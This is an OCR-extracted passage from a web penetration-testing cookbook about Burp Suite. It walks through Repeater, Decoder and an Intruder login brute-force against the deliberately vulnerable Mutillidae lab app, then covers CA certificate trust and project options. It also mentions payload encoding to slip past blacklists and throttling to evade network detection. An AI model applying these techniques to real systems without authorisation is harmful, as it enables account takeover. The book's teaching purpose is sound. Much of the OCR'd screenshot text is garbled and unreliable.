Accept-Encoding: gzip, deflate
PBeferer: http://l92.168.56.101/ Send to Intruder Ctrl+l
Connection: close
Upgrade-Insecure-Reguests: 1

Do a passive scan

Send to Repeater Ctri+R
Send to Sequencer

Send to Comparer

2. Switch over to the Repeater tab. Note the HTTP Request is ready for the tester to
tweak parameters, and then send the request to the application via
the Go button.
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Note the search boxes at the bottom of each panel:

iTawIﬁuxyIswer]SmnHihmem{ﬂewder]tummr]&ﬂm'[
mra

I E i n
_[hw] Headers | Hex |
GET /mutillidae/ HTTF/1l.1
Host: 192 1&8.5&6.101
User-Agent: Mozilla/5.0 (Windows HT 10.0; WOWEd) AppleWebKFit/537.3& (FHTHL, like
Gecko) Chrome/eZ.0.3202.% Safari/s537.3€
hccept: text/htm]  application/zhtmléxm]l application/xml;ged.5 */*;gud.8
Accept-Language: en-US.en;q=0.5
Acecepe=Encoding: gzip, deflate
Beferer: hcop:/FfLl92.1E6. 5. 101/
Connection: clase
Upgrade-Insecure—-Regquests: 1

We will use Repeater quite a bit throughout this book. This chapter is just an
introduction to the Repeater and to understand its purpose.

Decoding with Decoder

Burp Decoder is a tool that allows the tester to convert raw data into encoded data or to
take encoded data and convert it back to plain text. Decoder supports several formats
including URL encoding, HTML encoding, Base64 encoding, binary code, hashed data, and
others. Decoder also includes a built-in hex editor.

Getting ready

As a web penetration test progresses, a tester might happen upon an encoded value. Burp
eases the decoding process by allowing the tester to send the encoded value to Decoder and
try the various decoding functions available.
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How to do it...

Let's try to decode the value of the session token PHPSESSID found in the OWASP
Mutillidae II application. When a user initially browses to the URL
(http://<Your_VM_Assigned_IP_Address>/mutillidae/), that user will be assigned a
PHPSESSID cookie. The PHPSESSID value appears to be encrypted and then wrapped in
base 64 encoding. Using Decoder, we can unwrap the value.

1. Browse to the http://<Your_VM_Assigned_IP_Address>/mutillidae/
application.

2. Find the HTTP request you just generated from your browse within the Proxy |
HTTP history tab (shown in the next screenshot). Highlight the PHPSESSID
value, not the parameter name, right-click, and select Send to Decoder:

[Turge! I Proxy I Spider T Scanner T Intruder T Repeater T Sequencer T Decoder T Comparer T Extender T Project options I User options I Aleris ]

Intercept [ HTTP history T WebSockets history I Options ]

Logging of out-of-scope Proxy fraific is disabled

| Filter: Hiding CSS, image and general binary content

# A Host | Method | URL | Params | Edited | Status Length | MIMEtype | Extension | Title
(19 hipAT9Z 16856, 10T TGET ~imutiidae/avascriptjdueryliquery.balio... B 200 “TT8T6 scrpt B :

20 http://192.168.56.101 GET Imutilidae/javascriptjQuery/colorbox/ig. . 200 10323 script is
4 hitp://192.168.56.101 GET imutilidae/index.php?page=login.php 'd 200 50769 HTML php

-

Request | Response

Raw mﬂeaders m

GET /mucillidae/index.php?page=login.php HTTP/1.1

Host: 192.1€8.56.101

User-Agent: Mozilla/5.0 (Windows NT 10.0; WOWE4) AppleWebKit/537.32& (FHTML, like Gecko) Chrome/E62.0.3202.5 Safari/537.36
Aevcept: text/htuml,application/xhtmltxnl,application/xul; g=0.9,%/*;q=0.8

Accept-Language: en-US,en;gq=0.5

Accept-Encoding: gzip, deflate

Referer: http://1l92.168.56.101/mutillidae/

Cookie: showhints=1; PHPSESSID=juttplah3jsrpgeh03didBodd: hpbbhZ, redmine; acgroupswithpersist=nada
Connection: close Send fo Spider
Upgrade-Insecure-Requests: 1 Do an active scan

Do a passive scan

Send to Intruder Ctri+l
Send to Repeater Ctr+R
Send to Sequencer

Send to Comparer

Send to Decoder
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3. In the Decoder tab, in the Decode as... drop-down as follows, select Base 64.
Note the results are viewed in the Hex editor and are encrypted:

Burp Intruder Repeater Window Help

{ Target I Proxy | Spider T Scanner T Intruder T Repeater T Sequencer IDeou-der ICumparer I Extender T Project options T User options TA\erls W

juttplah3jsrpaBh0adi¢Bodd2 @ Text O Hex (2]

Decode as ...

Encode as ... I

Hash ...
Smart decode |

[o Be eb 6&d aé 56 al de 3b 2b a6 ae al & 77 62 el DémVip;~@0wba O Text @ Hex

1 ca 38 64 32 - - - - - - - - - - - — Eadz
Decode as ... I
Encode as .. |

Hash ...

Smart decode |

1|

|

4| =]

|

In this example, we cannot proceed any further. We can confirm the value was,
indeed, wrapped in Base 64. However, the value that is unwrapped is encrypted.
The purpose of this recipe is to show you how you can use Decoder to manipulate
encoded values.

Intruding with Intruder

The Burp Intruder allows a tester to brute-force or fuzz specific portions of an HTTP
message, using customized payloads.
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To properly set up customized attacks in Intruder, a tester will need to use the settings
available in the four subtabs of Intruder:

[Target I Proxy I Spider I Scanner | Intruder | Repeater

ITarget T Positions I Payloads I Opticns ]

@ Attack Target
Configure the details of the target for the attack.

Host: | 127.0.0.1
Port: | &0

[J Use HTTPS

Getting ready

A tester may wish to fuzz or brute-force parameter values within a message. Burp Intruder
eases this process by providing various intruder attack styles, payloads, and options.

How to do it...

1. Browse to the login screen of Mutillidae and attempt to log into the application.
For example, type a username of admin and a password of adminpass.

2. Find the login attempt in the Proxy | HTTP history tab. Your request number
(that is, the # sign on the left-hand side) will be different from the one shown
next. Select the message that captured your attempt to log in.
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3. As the login attempt message is highlighted in the HTTP history table, right-
click the Request tab, and select Send to Intruder:

Target | Proxy | Spider | Scanner I Intruder Tnepeater I Sequencer TDecndzr Tl:nrnparer I Extender Iprnjer:t options I User options IAlens ]

Intercept | HTTP history [ WebSockets history I Options ]

Filter: Hiding CSS, image and general binary content

# 4| Host Method | URL | Params | Edited | Status ‘ Length | MIME type | Extension
= TR T T T o T T o ar P o TEaT TR =
4 hitp://192.168.56.101 GET fjquery.min.js 200 57733 script s
10 http://192.168.56.101 GET Imutilidae 301 683 HTML

1" hitp://192.168.56.101 GET Imutillidae/ 200 45164 HTML

14 http://192.168.56.101 GET Imutilidaeljavascriptbookmark-site. js 200 1541 script 153
15 hitp://192.168.56.101 GET Imutilidae/javascript/ddsmoothmenuijqu... 200 57733 script B
16 hitp:/1192.168.56.101 GET Imutilidae/javascript/ddsmoothmenu/dd... 200 9116 script B
18 hitp://192.168.56.101 GET Imutilidae/javascriptjQuery/jquery.js 200 268220  script I3
19 hitp /1192 16856101 GET Imutilidae/javascriptjQuery/jquery. ballo. 200 11816 script s
20 hitp//182.168.56.101 GET Imutilidae/javascriptjQuery/colorboxsja... 200 10323 script is
41 hitp://192.168.56.101 G_ET /mutilidae/index.php?page=iogin.ph) v 200 50769 HTHML php
ok -

Request | Response

Raw | Params | Headers | Hex

POST /mutillidae/index.php?page=login.php HTTP/1.1
Host: 182.1€8.5£.101

User-Agent: Mozilla/5.0 (Windows NT 10.0; WOWE4) AppleWebKit/537.3g (K Send toSpider 02.9 Safari/537.36
Accept: texc/html,application/xhtml+txml,application/xml;q=0.9,*/*;q=0.8 Do an active scan
Accept-Language: en-US, en;q=0.5

Do a passive scan

Accept-Encoding: gzip, deflate
Referer: hreop://192.168.56.101/mutillidae/index. php?page=login.php Send to Intruder Cirl+l

Content-Type: application/x-www-form-urlencoded Send to Repeater Ctrl+R

Content-Length: &3 Send to Sequencer

Cookie: showhints=1; PHPSESSID=juctplah3jsrpqéh03did8odd2; acopendividg acgroupswithpersist=
Connection: close Send to Comparer

Upgrade-Insecure-Requests: 1 Send to Decoder

. . . . . Show response in browser
username=adninépassword=adminpass&login-php-subnit-button=Login P

Request in browser >
Engagement tools >
Copy URL

Copy as curl command

Copy to file

[39]




Getting to Know the Burp Suite of Tools Chapter 2

Target

The Intruder Target tab defines your targeted web application. These settings are pre-
populated for you by Burp:

Positions I Payloads I Options ]

2| Attack Target

Configure the details of the target for the attack.

Host | 192.168.56.101

Port: |80

) Use HTTPS

Positions

The Positions tab identifies where the payload markers are to be defined within the
Payload | Positions section. For our purposes, click the Clear § (that is, payload markers)
from the right-hand side menu. Manually select the password field by highlighting it with
your cursor. Now click the Add § button on the right-hand side menu. You should have the
payload markers wrapping around the password field as follows:

| muell Postons. I Payloads [ Optons. |

2| Payload Posi

Start attack
Configure the postions where payloads will be inserted into the base request. The attack type determines the way in which payloads are assigned to payload postions - see help for ful details
Aftack type: | Sniper ]
POST /mutillidae/index. phplpageslogin php HITP/L.1 Tal §
Host 18Z.1é8.5€.101 r
User-Agent: Mozillas5.0 (Windows NT 10.0; WOWE4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/€2.0.3202.9 Safari/$37.36
Accept: text/html,application/zhtmléxml,application/xml;qe0.9,*/*;q=0.0 | Clear§ |
Accept-Language: en-US,en;qe0.5
Accept-Encoding: gs etlate | Auwes |
Referer: heop:// €0.56.101/mutillidae/index. php?page=login. php
Content-Type: application/x-www-form-urlencoded [ Retresn
c c-Length: &3 L
c shovhints=1; PHPSESSID=juttplahlisrpqeh03didfoddl; acopendivids=swingset,jotto,phpbbl, redmine; acgroupswithpersist=nada
Connection: close
Upgrade-Insecure-Requests: 1
usernane=adsincpassvordfs adminpasss fogin-php-submit-buttonsLogin
9
v
< - » 0 matches § Clear
1 payload posiion Length: 716
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Payloads

After the Positions tab is the Payloads tab. The Payloads tab identifies wordlist values or
numbers you wish to be inserted into the positions you identified on the previous tab.
There are several sections within the Payloads tab, including Payload Sets, Payload
Options, Payload Processing, and Payload Encoding.

Payload Sets

Payload Sets allows for the setting of the number of payloads as well as the type. For our
purposes, we will use the default settings for Sniper, allowing us to use one payload with a

Payload type of Simple list:

[ Target I Positions I Payloads I Options }

liJI F\t'j[[i.tl.i sets I

ou can define one or more payload sets. The number of payload se
can be customized in different ways.

Payload set: [ 1 ‘j Payload count: 0

Payload type: [ Simple list ‘j Reguest count: 0

Payload Options
In the Payload Options section, a tester can configure a custom payload or load a
preconfigured one from a file.
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For our purposes, we will add one value to our payload. In the text box, type admin, and
then click the Add button to create our custom payload:

@ Il‘ayloa{l Options [Simple list] I

This payload type lets you configure a simple list of strings that are used as payloads.

Paste J |admin|
Load ...

Remove >

Clear

p—

| Add |_:

| Add from list ... v

Payload Processing

Payload Processing is useful when configuring special rules to be used while Intruder
substitutes payloads into payload marker positions. For this recipe, we do not need any
special payload-processing rules:

2 | |Payload Processing

—

You can define rules to perform various processing tasks on each payload before it is used.

Add Enabled | Rule

.

—

Remove

il

Edit

Down

.
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Payload Encoding

Payload Encoding is applied to the payload value prior to sending the request to the web
server. Many web servers may block offensive payloads (for example, <script> tags), so
the encoding feature is a means to circumvent any blacklist blocking.

For the purpose of this recipe, leave the default box checked:

li) IF’a',flr_u._'wi Encoding I

This setting can be used to URL-encode selected characters within the final payload, for safe transmission within HTTP requests.

] URL-encode these characters: | N=a=7+8% """

Options

Finally, the Intruder | Options tab provides attack table customizations, particularly
related to responses captured such as specific error messages. There are several sections
within the Intruder | Options tab, including Request Headers, Request Engine, Attack
Results, Grep-Match, Grep-Extract, Grep - Payloads, and Redirections:

(Target I Proxy T Spider T Scanner | Intruder i

[+ Ts - Jaul |

\ Target I Positions T Payloads | Options

Request Headers

Request Headers offers configurations specific to header parameters while Intruder is
running attacks. For the purpose of this recipe, leave the default boxes checked:

Lll Request Headers

@ These =ettings control whether Intruder updates the configured request headers during attacks.

(Y] Update Content-Length header

(Y] 5et Connection: close
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Request Engine

Request Engine should be modified if a tester wishes to create less noise on the network
while running Intruder. For example, a tester can throttle attack requests using variable
timings so they seem more random to network devices. This is also the location for
lowering the number of threads Intruder will run against the target application.

For purpose of this recipe, leave the default setting as-is:

12 Request Engine
@ These settings control the engine used for making HTTP requests when performing attacks.
Number of threads: 5
Number of retries on network failure: 3
Pause before retry (miliseconds): 2000
Throttle (miliseconds); @ Fixed 0
(U Variable: start 0 step | 30000
Start time: ® Immediately
(U In |10 minutes
() Paused
Attack Results

After starting the attack, Intruder creates an attack table. The Attack Results section offers
some settings around what is captured within that table.

For the purpose of this recipe, leave the default settings as-is:
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[;I Attack Results I

@ These settings control what information is captured in attack results.

[ store requests

[ Store responses

¥ Make unmodified baseline request

[J Use denial-of-service mode (no results)
[ store full payloads

Grep - Match

Grep - Match is a highly useful feature that, when enabled, creates additional columns in
the attack table results to quickly identify errors, exceptions, or even a custom string within

the response.

For the purpose of this recipe, leave the default settings as-is:

2] Grep - Match

@ These settings can be used to flag result tems containing specified expressions.

[ Flag result items with respenses matching these expressions:

Paste error 'y
exception
Load ... ilegal
invalid
Remove fail >
stack
Clear access
directory
file ¥ ‘
Add Enter a new item

Match type: @ Simple string
() Regex

] case sensitive match

] Exclude HTTP headers
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Grep - Extract

Grep - Extract, when enabled, is another option for adding a column in the attack table
whose label is specific to a string found in the response. This option differs from Grep -
Match, since Grep - Extract values are taken from an actual HTTP response, as opposed to

an arbitrary string.

For the purpose of this recipe, leave the default settings as-is:

Grep - Extract

|_J Extract the following items from responses:

@ These settings can be used to extract useful information from respenses into the attack results table.

A

|

Edit

Remove

Duplicate

U

Down

JULT

Clear

Maximum capture length: = 100

Grep - Payloads

Grep - Payloads provides a tester the ability to add columns in the attack table in which

responses contain reflections of payloads.
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For the purpose of this recipe, leave the default settings as-is:

@I Grep - Payloads |

G These settings can be used to flag result tems containing reflections of the submitted payload.

(] Search responses for payload strings

(J case sensitive match

(] Exclude HTTP headers

(f] Match against pre-URL-encoded payloads

Redirections

Redirections instructs Intruder to never, conditionally, or always follow redirections. This
feature is very useful, particularly when brute-forcing logins, since a 302 redirect is
generally an indication of entry.

For the purpose of this recipe, leave the default settings as-is:

Redirections

These settings control how Burp handles redirecticns when performing attacks.

©6

Follow redirections: @& Never
() On-site only
() In-scope only
) Always

] Process cookies in redirections

Start attack button

Finally, we are ready to start Intruder. On either the Payloads or the Options tabs, click the
Start attack button to begin:

[ Target I Positions T Payloads I Options ]

@ Payload Sets | Startattack
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When the attack has started, an attack results table will appear. This allows the tester to
review all requests using the payloads within the payload marker positions. It also allows

us to review of all responses and columns showing Status, Error, Timeout, Length, and
Comment.

For the purpose of this recipe, we note that the payload of admin in the password
parameter produced a status code of 302, which is a redirect. This means we logged into
the Mutillidae application successfully:

_[ Results I Target T Positions. T Payloads T Options. ]

| Fiter: Showing al items | (2
Regquest 4 | Payload | Status | Error | Timeout | Length | Comment
0 200 @] O 50838
1 admin 302 | @] O  s093s

Request Response
J Raw I Params T Headers | Hex

POST /mutillidae/index. php?page=login.php HITP/l.1

Host: 1SIZ.168.56.101

User-Agent: Mozilla/5.0 (Windows NT 10.0; WOWE4) AppleWebKit/537.3& (FHTML, like Gecko) Chrome/&6Z.0.320Z.%
Safari/537.36

Accept: text/html application/sxhtml+xml, application/xml;q=0.9 */*;q=0.8

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

RPeferer: http://152.168.56.101/mutillidae/index.php?page=login.php

Content-Type: application/x-www-form-urlencoded

Content-Length: 55

e

Cookie: showhints=l; PHPSESSID=juctplah3jsrpgeh03didfoddZ; acopendivids=swingset, jotto,phpbbl, rednine;
acgroupswithpersist=nada

Connection: close

Upgrade-Insecure-Requests: 1

username=adminipassword=adninélogin-php-subnit-button=Login

BEOE

Finished | |

3
v

0 matches
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Looking at Response | Render within the attack table allows us to see how the web
application responded to our payload. As you can see, we are successfully logged in as an

admin:

Aftack Save Columns

_[ Results I Target T Positions T Payloads T Options ]

Fiter: Showing all tems

1 2.6.24

Security Level: 0 (Hosed)

@
Reguest 4 | Payload | Status Error | Timeout | Length | Comment
0 200 @] @] 50838
1 admin 302 g 3| 50935
Request I Response I
Raw | Headers I Hex ]HTML TRender ]
'y
‘ ™

« OWASP Mutillidae II: Web Pwn in Mass Production

Hints: Enabled (1 - Script K1ddie) I Logged In Admin: admin (g0t ro0t?) | -

l\ | Login |
% Back a Help Me!
- = T

a7

Finished |
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Configuring, Spidering,
Scanning, and Reporting with
Burp

In this chapter, we will cover the following recipes:

e Establishing trust over HTTPS
Setting project options

Setting user options

Spidering with Spider

Scanning with Scanner

Reporting issues

Introduction

This chapter helps testers to calibrate Burp settings so they're less abusive toward the target
application. Tweaks within Spider and Scanner options can assist with this issue. Likewise,
penetration testers can find themselves in interesting network situations when trying to
reach a target. Thus, several tips are included for testing sites running over HTTPS, or sites
only accessible through a SOCKS Proxy or a port forward. Such settings are available
within project and user options. Finally, Burp provides the functionality to generate reports
for issues.
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Software tool requirements

In order to complete the recipes in this chapter, you will need the following;:

o OWASP Broken Web Applications (VM)
OWASP Mutillidae link
Burp Proxy Community or Professional (https://portswigger.net/burp/)

Firefox browser configured to allow Burp to proxy traffic (https://www.

mozilla.org/en-US/firefox/new/)

The proxy configuration steps are covered in chapter

Establishing trust over HTTPS

Since most websites implement Hypertext Transport Protocol Secure (HTTPS), it is
beneficial to know how to enable Burp to communicate with such sites. HTTPS is an
encrypted tunnel running over Hypertext Transport Protocol (HTTP).

The purpose of HTTPS is to encrypt traffic between the client browser and the web
application to prevent eavesdropping. However, as testers, we wish to allow Burp to
eavesdrop, since that is the point of using an intercepting proxy. Burp provides a root,
Certificate Authority (CA) signed certificate. This certificate can be used to establish trust
between Burp and the target web application.

By default, Burp's Proxy can generate a per-target CA certificate when establishing an
encrypted handshake with a target running over HTTPS. That takes care of the Burp-to-
web-application portion of the tunnel. We also need to address the Browser-to-Burp
portion.

In order to create a complete HTTPS tunnel connection between the client browser, Burp,
and the target application, the client will need to trust the PortSwigger certificate as a
trusted authority within the browser.
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Getting ready

In situations requiring penetration testing with a website running over HTTPS, a tester
must import the PortSwigger CA certificate as a trusted authority within their browser.

How to do it...

Ensure Burp is started and running and then execute the following steps:

1. Open the Firefox browser to the http://burp URL. You must type the URL
exactly as shown to reach this page. You should see the following screen in your
browser. Note the link on the right-hand side labeled CA Certificate. Click the

link to download the PortSwigger CA certificate:

< > C @ ® http//burp +e+ O ¥ In @ =

Burp Suite Professional CA Certificate

Welcome to Burp Suite Professional.

2. You will be presented with a dialog box prompting you to download the
PortSwigger CA certificate. The file is labeled cacert .der. Download the file to

a location on your hard drive.
3. In Firefox, open the Firefox menu. Click on Options.
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4. Click Privacy & Security on the left-hand side, scroll down to Certificates
section. Click the View Certificates... button:

&« c @ & firefox  aboutpreferences#privacy bd N 6

Find in Options

'ﬁ' General Firefox for everyone. We always ask permission before receiving personal information.
Privacy Notice
@ Home : . N _
v Allow Firefox to send technical and interaction data to Mozilla Learn more
Q Search v Allow Firefox to install and run studies View Firefox Studies
Allow Firefox to send backlogged crash reports on your behalf Learn more

a Privacy & Security

& Firefox Account Security

Deceptive Content and Dangerous Software Protection
¥ Block dangerous and deceptive content Learn more
v Block dangerous downloads

v Warn you about unwanted and uncommon software

Certificates I

When a server requests your personal certificate

Select one automatically

® Ask you every time

= Query OCSP responder servers to confirm the current validity of I View Certificates...

certificates " :
@ Firefox Support Security Devices...

5. Select the Authorities tab. Click Import, select the Burp CA certificate file that
you previously saved, and click Open:
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Certificate Manager X

Your Certificates People Servers Authorities

You have certificates on file that identify these certificate authorities

Certificate Name Security Device ®
vAC Camerfirma S.A.
Chambers of Commerce Root - 2008 Builtin Object Token
Global Chambersign Root - 2008 Builtin Object Token
~vAC Camerfirma SA CIF A82743287

Camerfirma Chambers of Commerce Root Builtin Object Token
Camerfirma Global Chambersign Root Builtin Object Token
vACCV
ACCVRAIZ1 Builtin Object Token
vActalis S.p.A./03358520967 v

View... Edit Trust Export... Delete or Distrust

oK

6. In the dialog box that pops up, check the Trust this CA to identify websites box,
and click OK. Click OK on the Certificate Manager dialog as well:

You have been asked to trust a new Certificate Authority (CA).

Do you want to trust “PortSwigger CA” for the following purposes?
I Trust this CA to identify websites. I
[] Trust this CA to identify email users.

Before trusting this CA for any purpose, you should examine its certificate and its policy and
procedures (if available).

View Examine CA certificate
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Close all dialog boxes and restart Firefox. If installation was successful, you should now be
able to visit any HTTPS URL in your browser while proxying the traffic through Burp
without any security warnings.

Setting Project options

Project options allow a tester to save or set configurations specific to a project or scoped
target. There are multiple subtabs available under the Project options tab, which include
Connections, HTTP, SSL, Sessions, and Misc. Many of these options are required for
penetration testers when assessing specific targets, which is why they are covered here.

How to do it...

In this book, we will not be using many of these features but it is still important to know of
their existence and understand their purpose:

[Target T Proxy T Spider T Scanner T Intruder T Repeater T Sequencer T Decoder T Comparer T Extender T Project options I

J Connections I HTTP I S55L I Sessions T Misc ]

The Connections tab

Under the Connections tab, a tester has the following options:

¢ Platform Authentication: This provides an override button in the event the tester
wants the Project options related to the type of authentication used against the
target application to supersede any authentication settings within the user
options.

[551]



Configuring, Spidering, Scanning, and Reporting with Burp Chapter 3

After clicking the checkbox to override the user's options, the tester is presented
with a table enabling authentication options (for example, Basic, NTLMv2,
NTLMv1, and Digest) specific to the target application. The destination host is
commonly set to wildcard * should a tester find the need to ever use this option:

2J Platform Authentication
LEJ These settings are configured within user options but can be overridden here for this specific project.
& Override user options
These settings let you configure Burp to automatically carry out platform authentication to destination web servers.

[ Do platform authentication

l Add J Destination host A | Type | Username | Domain | Demain hostname |

Edit

Remove >

Il Prompt for credentials on platform authentication failure

e Upstream proxy servers: It provides an override button in the event the tester
wants the Project options related to upstream proxy servers used against the

target application to supersede any proxy settings contained within the user
options.
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After clicking the checkbox to override the user's options, the tester is presented
with a table enabling upstream proxy options specific to this project. Clicking the
Add button displays a pop-up box called Add upstream proxy rule. This rule
is specific to the target application's environment. This feature is very helpful if
the target application's environment is fronted with a web proxy requiring a
different set of credentials than the application login:

1
r

EJ Enter the details of the upstream proxy rule. You can use wildcards to specify

destination hosts (* matches zero or more characters, # matches any
character except a dot). Leave the proxy host blank to connect directhy for the
specified destination host.

Destination host: Destination host, may include wildcards

T

Proxy host: oxy host, leave blank to connect directly

Proxy port:

Authentication type: | MNone: 'J

Username:
Password:
Domain:

Domain hostname:

l OK J [ Cancel J

¢ SOCKS Proxy: It provides an override button in the event the tester wishes for
Project options related to the SOCKS Proxy configuration used against the target
application to supersede any SOCKS Proxy settings within the user options.
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After clicking the checkbox to override user options, the tester is presented with a
form to configure a SOCKS Proxy specific to this project. In some circumstances,
web applications must be accessed over an additional protocol that uses socket
connections and authentication, commonly referred to as SOCKS:

(2 SOCKS Proxy

O These seftings are configured within user options but can be overridden here for this specific project.

& Override user options

These =ettings let you configure Burp to use a SOCKS proxy. This setting is applied at the TCP level, and all outbound reguests will be gent via this proxy. If you have
configured rules for upstream HTTP proxy servers, then reguests to upstream proxies wil be sent via the SOCKS proxy configured here.

[J Use SOCKS proxy

SOCKS proxy host:

SOCKS proxy port:

Username:

Passwaord:

LJ Do DNS lookups over SOCKS proxy

e Timeouts: It allows for timeout settings for different network scenarios, such as
failing to resolve a domain name:

Timeouts

These zettings specify the timeouts to be used for various network tasks. Values are in seconds. Set an option to zero or leave it blank to never timeout that task.

Normal: 120
Open-ended responses: 10
Domain name resclution: 300

Failed domain name resolution: |60
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e Hostname Resolution: It allows entries similar to a host file on a local machine to
override the Domain Name System (DNS) resolution:

EJ Hostname Resolution

O Add entries here to override your computer’s DNS resolution.

l Add J Enabled | Hostname 4 | IP address

Edit

Remove >

¢ Out-of-Scope Requests: It provides rules to Burp regarding Out-of-Scope

Requests. Usually, the default setting of Use suite scope [defined in Target tab]
is most commonly used:

(2 Out-of-Scope Requests
LEJ This feature can be used to prevent Burp from issuing any out-of-scope requests, including those made via the proxy.
] Drop all out-of-scope reqguests

@ Use suite scope [defined in Target tab]

i) Use custom scope
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The HTTP tab

Under the HTTP tab, a tester has the following options:

¢ Redirections: It provides rules for Burp to follow when redirections are
configured. Most commonly, the default settings are used here:

LEJ Redirections
@ These zettings coentrol the types of redirections that Burp will understand in situations where it iz configured to follow redirections.

When following redirections, understand the following types:

] 3xx status code with Location header
] Refresh header

[ Weta refresh tag

|| JawvaScript-driven

|l Any status code with Location header

e Streaming Responses: It provides configurations related to responses that
stream indefinitely. Mostly, the default settings are used here:

@ Streaming Responses

@ These settings are used to specify URLs returning responses that stream indefinitely. The Proxy will pass these responses straight through to the client. Repeater will update the|
response panel as the response is received. Other tools will ignore streaming respenses. In order to view the contents of streaming responses within Burp, you need to check
the "store streaming responses” option.

[J Use advanced scope control

| add | |Enabled | Prefix

Edit
Remove »
| Paste URL

l Load ... j

[ sStore streaming responses (may result in large temp files)

[ Strip chunked encoding metadata in streaming responses
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¢ Status 100 Responses: It provides a setting for Burp to handle HTTP status code
100 responses. Most commonly, the default settings are used here:

1) Status 100 Responses

I.E,I These =settings control the way Burp handles HTTP responses with status 100.

[l understand 100 Continue responses

L Remove 100 Continue headers

The SSL tab

Under the SSL tab, a tester has the following options:

¢ SSL Negotiations: When Burp communicates with a target application over SSL,
this option provides the ability to use preconfigured SSL ciphers or to specify
different ones:

SSL Negotiation

These settings control the SSL protocols and ciphers that Burp will use when performing SSL negotiation with upstream servers. If you are experiencing problems with S50
negotiation, you can use these settings to request use of specific protocols or ciphers. Use these options with caution as misconfiguration may break all your outgoing SSL
connections.

@6

@ Use the default protocols and ciphers of your Java installation

() Use custom protocols and ciphers

[ Automatically select compatible SSL parameters on negotiation failure
|| Allow unsafe renegotiation (required for some client certificates)

|| Disable SSL session resume
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If a tester wishes to customize the ciphers, they will click the Use custom
protocols and ciphers radio button. A table appears allowing selection of
protocols and ciphers that Burp can use in the communication with the target
application:

w SSL Negotiation

U These settings contrel the SSL protocols and ciphers that Burp will use when performing SSL negotiation with upstream servers. If you are experiencing problems with SSL
negotiation, you can use these settings to request use of specific protocols or ciphers. Use these options with caution as misconfiguration may break all your outgoing SSL
connections.

() Use the default protocols and ciphers of your Java installation

@® Use custom protocols and ciphers

| Selectall | ‘Enabled | Protocol

_— @] SSLv2Hello
Selectnone | | @ S5Lv3
cd] TLSwv1
@ TLSwv1.1 »
[Ed] TLSv1.2
| seectal | Enabled | Cipher ‘
TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA384 I
Select none TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA384
TLS_RSA_WITH_AES_256_CBC_SHAZ256 .

TLS_ECDH_RSA_WITH_AES_256_CBC_SHA384
TLS_DHE_RSA_WITH_AES_256_CBC_SHA2S6
TLS_DHE_DSS_WITH_AES_256_CBC_SHA2S56

[t]

(€]

€]

(&} TLS_ECDH_ECDSA_WITH_AES_256_CBC_SHA384
€]

(€]

(€]

] TI& ECOHE ECNSA \AMTH AES 265 CRC SHA

[«

[ Automatically select compatible SSL parameters on negotiation failure
[ Allow unsafe renegotiation (required for some client certificates)

e Client SSL Certificates: It provides an override button in the event the tester
must use a client-side certificate against the target application. This option will
supersede any client-side certificate configured within the user options.
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After clicking the checkbox to override user options, the tester is presented with a
table to configure a client-side certificate specific to this project. You must have
the private key to your client-side certificate in order to successfully import it into
Burp:

Client SSL Certificates

These settings are configured within user options but can be overridden here for this specific project.

@&

& Override user options

These settings let you configure the client SSL certificates that Burp will use when a destination host reguests one. Burp wil use the first certificate in the list whose host
configuration matches the name of the host being contacted. You can double-click on an item to view the full details of the certificate.

Add J Enabled | Host | Type | Alias | Subject | lzsuer | Key

Remove
Up »>
( Down |

Down

e Server SSL Certificates: It provides a listing of server-side certificates. A tester
can double-click any of these line items to view the details of each certificate:

sz Server SSL Certificates

@ This panel shows a list of the unigue S3L cerificates received from web servers. Double-click an item to show the full details of the certificate.

Host | Name: | lzsuer

safebrowsing.googleapis.com * googleapis.com Google Internet Authority G3

WWW.google.com ww'w.google.com Google Internet Authority G3

getpocket.cdn.mozilla.net * cdn.mozilla.net DigiCert SHAZ Secure Server CA

safebrowsing. googleapis.com * googleapis. com Google Internet Authority G3 >
tiles . zervices. mozilla.com * gervices.mozila.com DigiCert SHAZ Secure Server CA

incoming.telemetry. mozilla.org * telemetry.mozilla.org DigiCert SHAZ Secure Server CA

shavar.services.mozilla.com shavar.services. mozilla.com DigiCert SHAZ Secure Server CA

The Sessions tab

This book will cover recipes on all functionality contained within the Sessions tab in
Chapter 10, Working with Burp Macros and Extensions. A review of each of these sections
within the Sessions tab is provided here for completeness.
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Under the Sessions tab, a tester has the following options:

¢ Session Handling Rules: It provides the ability to configure customized session-
handling rules while assessing a web application:

@ Session Handling Rules

U *ou can define session handling rules to make Burp perform specific actions when making HTTP requests. Each rule has a defined scope (for particular tools, URLs or
parameters), and can perform actions such as adding session cookies, logging in to the application, or checking session validity. Before each reguest is issued, Burp applies in
sequence each of the rules that are in-scope for the request.

Add | |Enmabled | Description | Tools

e} Use cookies from Burp's cookie jar Spider and Scanner

Remove

Duplicate

AL

up

Down

To menitor or troubleshoot the behavior of your session handling rules, you can use the sessions tracer to view in detail the results of processing each rule.

Open sessions tracer

¢ Cookie Jar: It provides a listing of cookies, domains, paths, and name/value pairs
captured by Burp Proxy (by default):

EJ Cookie Jar

@J Burp maintains a cockie jar that stores all of the cookies issued by visited web sites. Session handling rules can use and update these cookies to maintain valid sessions with
applications that are being tested. You can use the settings below to control how Burp automatically updates the cookie jar based on traffic from particular tools.

Monitor the following tools' traffic to update the cookie jar:

& Proxy [J scanner [ Repeater [ Spider
) Intruder |J Segquencer [_| Extender

Open cookie jar
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e Macros: It provides the ability of a tester to script tasks previously performed in
order to automate activities while interacting with the target application:

Macros

@
E A macro iz a seguence of one or more reguests. You can use macros within session handling rules to perform tasks such as logging in to the application, obtaining anti-CSRF
tokens, etc.

I

Edit

Remove

Duplicate

i

E

Down

The Misc tab

Under the Misc tab, a tester has the following options:

e Scheduled Tasks: It provides the ability to schedule an activity at specific times:

@ Scheduled Tasks

@ These zettings let vou specify tazks that Burp will perform automatically at defined times or intervals.

l

=

dd

I

Time | Repeat | Task

Edit

Remove [
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When the Add button is clicked, a pop-up reveals the types of activities available
for scheduling;:

1
r

I.l.l Select the type of task you want to run.

@ Scan froma URL

) Pause active scanning
i) Resume active scanning
) Spider froma URL

(L) Pause spidering

() Resume spidering

) Save state

l Cancel J l Next J

¢ Burp Collaborator Server: It provides the ability to use a service external to the
target application for the purposes of discovering vulnerabilities in the target
application. This book will cover recipes related to Burp Collaborator in chapter
11, Implementing Advanced Topic Attacks. A review of this section is provided here
for completeness:

Burp Collaborator Server

